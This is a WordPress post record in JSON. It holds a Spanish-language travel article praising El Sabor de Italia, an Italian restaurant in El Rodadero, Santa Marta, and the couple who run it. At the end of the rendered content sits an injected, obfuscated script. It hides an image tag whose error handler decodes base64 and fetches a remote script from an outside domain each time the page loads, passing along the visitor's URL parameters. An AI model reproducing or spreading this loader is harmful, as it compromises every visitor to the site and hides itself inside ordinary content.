{"id":18399,"date":"2025-07-21T16:00:49","date_gmt":"2025-07-21T19:00:49","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=18399"},"modified":"2025-08-13T15:26:02","modified_gmt":"2025-08-13T18:26:02","slug":"turismo-con-sazon-italiana-el-sabor-de-italia-una-joya-del-rodadero","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2025\/07\/21\/turismo-con-sazon-italiana-el-sabor-de-italia-una-joya-del-rodadero\/","title":{"rendered":"Turismo con saz\u00f3n italiana: El Sabor de Italia, una joya del Rodadero"},"content":{"rendered":"\n<p><strong><em>En cada viaje, la br\u00fajula del buen periodista tur\u00edstico apunta m\u00e1s all\u00e1 de los paisajes: se orienta hacia los aromas y sabores que narran historias. As\u00ed fue como, en El Rodadero, Santa Marta, descubr\u00ed\u00a0El Sabor de Italia, un restaurante que no solo ofrece gastronom\u00eda, sino tambi\u00e9n una historia de amor y perseverancia.<\/em><\/strong><\/p>\n\n\n\n<p>El coraz\u00f3n del lugar late con los nombres de\u00a0<strong>Margarita Mar\u00eda Correa<\/strong>, colombiana, y\u00a0<strong>Luca Scialpi<\/strong>, chef italiano y compa\u00f1ero de vida. Su historia se remonta al a\u00f1o 2000, cuando se conocieron en Italia, se enamoraron y sellaron su uni\u00f3n en matrimonio.<\/p>\n\n\n\n<p>A\u00f1os despu\u00e9s, emprendieron juntos un viaje por Colombia buscando el sitio ideal para vivir. Luca lo tuvo claro:&nbsp;<em>\u201cEleg\u00ed Santa Marta por el mar y su gente\u201d<\/em>. All\u00ed, decidieron materializar su sue\u00f1o. Primero, un peque\u00f1o local; despu\u00e9s, el terreno donde hoy se levanta su restaurante y su hogar, proyecto que culmin\u00f3 en 2021.<\/p>\n\n\n\n<p>\u201cEl Sabor de Italia es fruto de la pasi\u00f3n y el trabajo honesto\u201d, cuenta Margarita. Y agrega:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u201cPara que un producto perdure, hay que ponerle amor, rodearse de personas que crean en lo que hacen, y ofrecer lo mejor sin esperar nada a cambio, m\u00e1s que crecer en la honestidad\u201d.<\/p>\n<\/blockquote>\n\n\n\n<p>Ese principio se respira en cada rinc\u00f3n: Luca no solo cocina, tambi\u00e9n dise\u00f1\u00f3 la arquitectura del lugar, cuidando hasta el \u00faltimo detalle para crear un espacio acogedor y rom\u00e1ntico que transporta a Italia.<\/p>\n\n\n\n<p><em>\u201cQueremos que la gente llegue y sienta que est\u00e1 en un sitio especial, diferente a su casa, donde cada plato est\u00e1 hecho con productos frescos, conocimiento y amor, y servido con gusto\u201d<\/em>, afirma Margarita.<\/p>\n\n\n\n<p>La carta lo confirma:&nbsp;<strong>pastas, salsas, pizzas al horno, carpaccios, burrata, postres cl\u00e1sicos como el tiramis\u00fa<\/strong>, y hasta un imperdible: los&nbsp;<strong>raviolis de salm\u00f3n<\/strong>, que conquistan paladares.<\/p>\n\n\n\n<p><br>Con su ambiente \u00edntimo, buena m\u00fasica y platos elaborados a la vista, este restaurante se ha consolidado como una parada obligatoria en El Rodadero. Tras degustar su tiramis\u00fa, puedo asegurarlo: es el mejor que he probado.<\/p>\n\n\n\n<p>Si visitas Santa Marta y amas la buena mesa,&nbsp;<strong>El Sabor de Italia<\/strong>&nbsp;no es solo un restaurante: es una experiencia que combina romance, tradici\u00f3n y alta cocina italiana frente al Caribe.<\/p><p><\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>En cada viaje, la br\u00fajula del buen periodista tur\u00edstico apunta m\u00e1s all\u00e1 de los paisajes: se orienta hacia los aromas y sabores que narran historias. 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